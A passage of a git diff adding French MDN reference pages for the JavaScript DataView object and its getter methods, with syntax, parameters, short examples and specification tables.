dataview.getBigInt64(positionOctet [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
+
littleEndian
+
{{optional_inline}} indique si la valeur sur 64 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
+
+ +

Valeur de retour

+ +

Une valeur {{jsxref("BigInt")}}

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
+
+ +

Description

+ +

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

+ +

Exemples

+ +

Utilisation de la méthode getBigInt64()

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getBigInt64(0); // 0n
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour DataView.prototype.getBigInt64()
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.getBigInt64")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
  • {{jsxref("BigInt")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getbiguint64/index.html b/files/fr/web/javascript/reference/global_objects/dataview/getbiguint64/index.html new file mode 100644 index 0000000000..a7733aec6e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/getbiguint64/index.html @@ -0,0 +1,88 @@ +--- +title: DataView.prototype.getBigUint64() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/getBigUint64 +tags: + - BigInt + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getBigUint64 +--- +
{{JSRef}}
+ +

La méthode getBigUint64() permet de lire un entier non signé sur 64 bits (type unsigned long long par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-getbiguint64.html")}}
+ + + +

Syntaxe

+ +
dataview.getBigUint64(positionOctet [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
+
littleEndian
+
{{optional_inline}} indique si la valeur sur 64 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
+
+ +

Valeur de retour

+ +

Une valeur {{jsxref("BigInt")}}

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
+
+ +

Description

+ +

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

+ +

Exemples

+ +

Utilisation de la méthode getBigUint64()

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getBigUint64(0); // 0n
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour DataView.prototype.getBigUint64()
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.getBigUint64")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
  • {{jsxref("BigInt")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getfloat32/index.html b/files/fr/web/javascript/reference/global_objects/dataview/getfloat32/index.html new file mode 100644 index 0000000000..f8a07d3eff --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/getfloat32/index.html @@ -0,0 +1,96 @@ +--- +title: DataView.prototype.getFloat32() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/getFloat32 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getFloat32 +--- +
{{JSRef}}
+ +

La méthode getFloat32() permet de lire un nombre flottant signé sur 32 bits à l'octet donné par rapport au début de {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-getfloat32.html")}}
+ + + +

Syntaxe

+ +
dataview.getFloat32(positionOctet [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
+
littleEndian
+
{{optional_inline}} indique si la valeur sur 32 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
+
+ +

Valeur de retour

+ +

Un nombre flottant signé, sur 32 bits.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
+
+ +

Description

+ +

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

+ +

Exemples

+ +

Utilisation de la méthode getFloat32

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getFloat32(1); // 0
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getfloat32', 'DataView.prototype.getFloat32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getfloat32', 'DataView.prototype.getFloat32')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.getFloat32")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getfloat64/index.html b/files/fr/web/javascript/reference/global_objects/dataview/getfloat64/index.html new file mode 100644 index 0000000000..b6f24fb7bc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/getfloat64/index.html @@ -0,0 +1,96 @@ +--- +title: DataView.prototype.getFloat64() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/getFloat64 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getFloat64 +--- +
{{JSRef}}
+ +

La méthode getFloat64() permet de lire un entier signé sur 64 bits (type double par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-getfloat64.html")}}
+ + + +

Syntaxe

+ +
dataview.getFloat64(positionOctet [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
+
littleEndian
+
{{optional_inline}} indique si la valeur sur 64 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
+
+ +

Valeur de retour

+ +

Un nombre flottant signé sur 64 bits.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
+
+ +

Description

+ +

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

+ +

Exemples

+ +

Utilisation de la méthode getFloat64

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getFloat64(0); // 0
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getfloat64', 'DataView.prototype.getFloat64')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getfloat64', 'DataView.prototype.getFloat64')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.getFloat64")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getint16/index.html b/files/fr/web/javascript/reference/global_objects/dataview/getint16/index.html new file mode 100644 index 0000000000..5a87490a9a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/getint16/index.html @@ -0,0 +1,96 @@ +--- +title: DataView.prototype.getInt16() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/getInt16 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getInt16 +--- +
{{JSRef}}
+ +

La méthode getInt16() permet de lire un entier signé sur 16 bits (type short par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-getint16.html")}}
+ + + +

Syntaxe

+ +
dataview.getInt16(positionOctet [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
+
littleEndian
+
{{optional_inline}} indique si la valeur sur 16 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
+
+ +

Valeur de retour

+ +

Un entier signé sur 16 bits.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
+
+ +

Description

+ +

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

+ +

Exemples

+ +

Utilisation de la méthode getInt16

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getInt16(1); // 0
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getint16', 'DataView.prototype.getInt16')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getint16', 'DataView.prototype.getInt16')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.getInt16")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getint32/index.html b/files/fr/web/javascript/reference/global_objects/dataview/getint32/index.html new file mode 100644 index 0000000000..74ffeb6a6b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/getint32/index.html @@ -0,0 +1,96 @@ +--- +title: DataView.prototype.getInt32() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/getInt32 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getInt32 +--- +
{{JSRef}}
+ +

La méthode getInt32() permet de lire un entier signé sur 32 bits (type long par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-getint32.html")}}
+ + + +

Syntaxe

+ +
dataview.getInt32(positionOctet [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
+
littleEndian
+
{{optional_inline}} indique si la valeur sur 32 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
+
+ +

Valeur de retour

+ +

Un entier signé sur 32 bits.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
+
+ +

Description

+ +

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

+ +

Exemples

+ +

Utilisation de la méthode getInt32

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getInt32(1); // 0
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getint32', 'DataView.prototype.getInt32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getint32', 'DataView.prototype.getInt32')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.getInt32")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getint8/index.html b/files/fr/web/javascript/reference/global_objects/dataview/getint8/index.html new file mode 100644 index 0000000000..4096b6736b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/getint8/index.html @@ -0,0 +1,94 @@ +--- +title: DataView.prototype.getInt8() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/getInt8 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getInt8 +--- +
{{JSRef}}
+ +

La méthode getInt8() permet de lire un entier signé sur 8 bits à l'octet donné par rapport au début de {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-getint8.html")}}
+ + + +

Syntaxe

+ +
dataview.getInt8(positionOctet)
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
+
+ +

Valeur de retour

+ +

Un entier signé sur 8 bits.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
+
+ +

Description

+ +

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

+ +

Exemples

+ +

Utilisation de la méthode getInt8

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getInt8(1); // 0
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getint8', 'DataView.prototype.getInt8')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getint8', 'DataView.prototype.getInt8')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.getInt8")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getuint16/index.html b/files/fr/web/javascript/reference/global_objects/dataview/getuint16/index.html new file mode 100644 index 0000000000..9ab325e790 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/getuint16/index.html @@ -0,0 +1,96 @@ +--- +title: DataView.prototype.getUint16() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/getUint16 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getUint16 +--- +
{{JSRef}}
+ +

La méthode getUint16() permet de lire un entier non-signé sur 16 bits (type unsigned short par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-getuint16.html")}}
+ + + +

Syntaxe

+ +
dataview.getUint16(positionOctet [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
+
littleEndian
+
{{optional_inline}} indique si la valeur sur 16 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
+
+ +

Valeur de retour

+ +

Un entier sur 16 bits non signé.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
+
+ +

Description

+ +

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

+ +

Exemples

+ +

Utilisation de la méthode getUint16

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getUint16(1); // 0
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getuint16', 'DataView.prototype.getUint16')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getuint16', 'DataView.prototype.getUint16')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.getUint16")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getuint32/index.html b/files/fr/web/javascript/reference/global_objects/dataview/getuint32/index.html new file mode 100644 index 0000000000..901321e34a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/getuint32/index.html @@ -0,0 +1,96 @@ +--- +title: DataView.prototype.getUint32() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/getUint32 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getUint32 +--- +
{{JSRef}}
+ +

La méthode getUint32() permet de lire un entier non-signé sur 32 bits (type unsigned long par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-getuint32.html")}}
+ + + +

Syntaxe

+ +
dataview.getUint32(positionOctet [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
+
littleEndian
+
{{optional_inline}} indique si la valeur sur 32 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
+
+ +

Valeur de retour

+ +

Un entier sur 32 bits, non-signé.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
+
+ +

Description

+ +

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

+ +

Exemples

+ +

Utilisation de la méthode getUint32()

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getUint32(1); // 0
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getuint32', 'DataView.prototype.getUint32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getuint32', 'DataView.prototype.getUint32')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.getUint32")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getuint8/index.html b/files/fr/web/javascript/reference/global_objects/dataview/getuint8/index.html new file mode 100644 index 0000000000..1a4545b47e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/getuint8/index.html @@ -0,0 +1,94 @@ +--- +title: DataView.prototype.getUint8() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/getUint8 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getUint8 +--- +
{{JSRef}}
+ +

La méthode getUint8() permet de lire un entier non-signé sur 8 bits à l'octet donné par rapport au début de la {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-getuint8.html")}}
+ + + +

Syntaxe

+ +
dataview.getUint8(positionOctet)
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
+
+ +

Valeur de retour

+ +

Un entier sur 8 bits, non-signé.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
+
+ +

Description

+ +

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

+ +

Exemples

+ +

Utilisation de la méthode getUint8

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getUint8(1); // 0
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getuint8', 'DataView.prototype.getUint8')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getuint8', 'DataView.prototype.getUint8')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.getUint8")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/index.html b/files/fr/web/javascript/reference/global_objects/dataview/index.html new file mode 100644 index 0000000000..f8887888d7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/index.html @@ -0,0 +1,166 @@ +--- +title: DataView +slug: Web/JavaScript/Reference/Objets_globaux/DataView +tags: + - Constructor + - DataView + - JavaScript + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/DataView +--- +
{{JSRef}}
+ +

La vue DataView fournit une interface de bas niveau pour lire et écrire des données de différents types numériques dans un {{jsxref("ArrayBuffer")}}, quel que soit le « boutisme » de la plate-forme.

+ +
{{EmbedInteractiveExample("pages/js/dataview-constructor.html")}}
+ + + +

Syntaxe

+ +
new DataView(buffer [, décalageOctets [, longueurOctets]])
+ +

Paramètres

+ +
+
buffer
+
Un {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}}{{experimental_inline}} existant à utiliser pour la mise en mémoire du nouvel objet DataView.
+
décalageOctets {{optional_inline}}
+
Le décalage, exprimé en octets, pour trouver le premier octet significatif du buffer à représenter dans la vue. Si ce paramètre n'est pas fourni, la vue commencera au premier octet du buffer.
+
longueurOctets {{optional_inline}}
+
Le nombre d'éléments dans le tableau d'octets. Si ce paramètre n'est pas fourni, la longueur de la vue correspondra à celle du buffer.
+
+ +

Valeur de retour

+ +

Un nouvel objet DataView représentant le tampon mémoire (buffer) fourni.

+ +

L'objet ainsi renvoyé peut être vu comme un interpréteur du tampon mémoire. Cet objet sait comment convertir des nombres afin de lire ou d'écrire des valeurs dans le tampon. C'est la vue qui s'occupe de la gestion des entiers, de la conversion des flottants, du boutisme utilisé et des autres détails de représentation binaire.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si les paramètres décalageOctets et longueurOctets dépassent la fin du buffer fourni.
+
+ +

Ainsi, si la taille du tampon mémoire est de 16 octets, que décalageOctetsvaut 8 et que longueurOctets vaut 10, cette exception est levée car la vue résultante dépassera de deux octets la longueur totale du tampon mémoire.

+ +

Description

+ +

Le boutisme (endianness)

+ +

En utilisant cet objet, vous pouvez détecter le type d'architecture qui exécute votre script, ce qui peut être utile dans certains cas. Voici un fragment de code pour permettre cette détection. Voir {{Glossary("Endianness")}} pour plus d'informations.

+ +
var littleEndian = (function() {
+  var buffer = new ArrayBuffer(2);
+  new DataView(buffer).setInt16(0, 256, true /*littleEndian donc */);
+  // Int16Array utilise le boutisme de la plate-forme
+  return new Int16Array(buffer)[0] === 256;
+})();
+console.log(littleEndian); // true ou false
+
+ +

Gestion des valeurs entières sur 64 bits

+ +

JavaScript manipule les nombres comme des valeurs sur 32 bits. Aussi, le moteur ne prend pas en charge la gestion des entiers sur 64 bits et on ne peut donc pas manipuler de telles valeurs avec DataView. Afin de contourner ce problème, on peut implémenter une méthode getUint64() afin d'otbenir une valeur avec une précision allant jusqu'à {{jsxref("Number.MAX_SAFE_INTEGER")}}, ce qui peut être suffisant dans certains cas.

+ +
function getUint64(dataview, byteOffset, littleEndian) {
+  // on décompose la valeur 64 sur bits en deux nombres 32 bits
+  const gauche = dataview.getUint32(byteOffset, littleEndian);
+  const droite = dataview.getUint32(byteOffset + 4, littleEndian);
+
+  // on combine les deux valeurs 32 bits
+  const combinaison = littleEndian ? gauche + 2**32*droite : 2**32*gauche + droite;
+  if(!Number.isSafeInteger(combinaison)){
+    console.warn(combinaison, " dépasse MAX_SAFE_INTEGER : perte de précision !");
+  }
+  return combinaison;
+}
+ +

On peut également créer un objet {{jsxref("BigInt")}} si on veut avoir accès à 64 bits :

+ +
function getUin64BigInt(dataview, byteOffset, littleEndian) {
+  const left = dataview.getUint32(byteOffset, littleEndian);
+  const right = dataview.getUint32(byteOffset, littleEndian);
+
+  const combined = littleEndian ?
+    right.toString(16) + left.toString(16).padStart(8, '0') :
+    left.toString(16) + right.toString(16).padStart(8, '0');
+
+  return BigInt(`0x${combined}`);
+}
+ +
+

Note : Sur le plan des performances, les grands entiers ({{jsxref("BigInt")}} ont une taille variable, aussi leur manipulation sera nécessairement plus lente que celle des nombres stockés sur 32 bits. Ceci étant écrit, les valeurs natives {{jsxref("BigInt")}} seront plus performantes que les implémentations tierces (bibliothèques, etc.).

+
+ +

Propriétés

+ +

Toutes les instances de DataView héritent de {{jsxref("DataView.prototype")}} qui permet d'ajouter des propriétés à l'ensemble des objets DataView.

+ +

{{page("fr/Web/JavaScript/Reference/Objets_globaux/DataView/prototype","Propriétés")}}

+ +

Méthodes

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/DataView/prototype','Méthodes')}}

+ +

Exemples

+ +
var buffer = new ArrayBuffer(16);
+var dv = new DataView(buffer, 0);
+
+dv.setInt16(1, 42);
+dv.getInt16(1); //42
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 6
{{SpecName('ES6', '#sec-dataview-constructor', 'DataView')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview-constructor', 'DataView')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView")}}

+ +

Notes de compatibilité

+ +

A partir de Firefox 40 {{geckoRelease(40)}}, DataView doit êre construit avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Si on invoque DataView() sans utiliser new, cela lèvera une exception {{jsxref("TypeError")}}.

+ +
var dv = DataView(buffer, 0);
+// TypeError: calling a builtin DataView constructor without new is forbidden
+ +
var dv = new DataView(buffer, 0);
+ +

Voir aussi

+ +
    +
  • jDataView : une bibliothèque JavaScrit qui ajoute des prothèses et des extensions à l'API DataView afin de pouvoir la manipuler au travers des différents navigateurs et de Node.js.
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
  • {{jsxref("SharedArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setbigint64/index.html b/files/fr/web/javascript/reference/global_objects/dataview/setbigint64/index.html new file mode 100644 index 0000000000..c65978bd74 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/setbigint64/index.html @@ -0,0 +1,84 @@ +--- +title: DataView.prototype.setBigInt64() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/setBigInt64 +tags: + - BigInt + - DataView + - JavaScript + - Méthode + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setBigInt64 +--- +
{{JSRef}}
+ +

La méthode setBigInt64() permet d'enregister un entier signé sur 64 bits (type long long par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-setbigint64.html")}}
+ + + +

Syntaxe

+ +
dataview.setBigInt64(positionOctet, value [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
+
valeur
+
La valeur à enregistrer
+
littleEndian
+
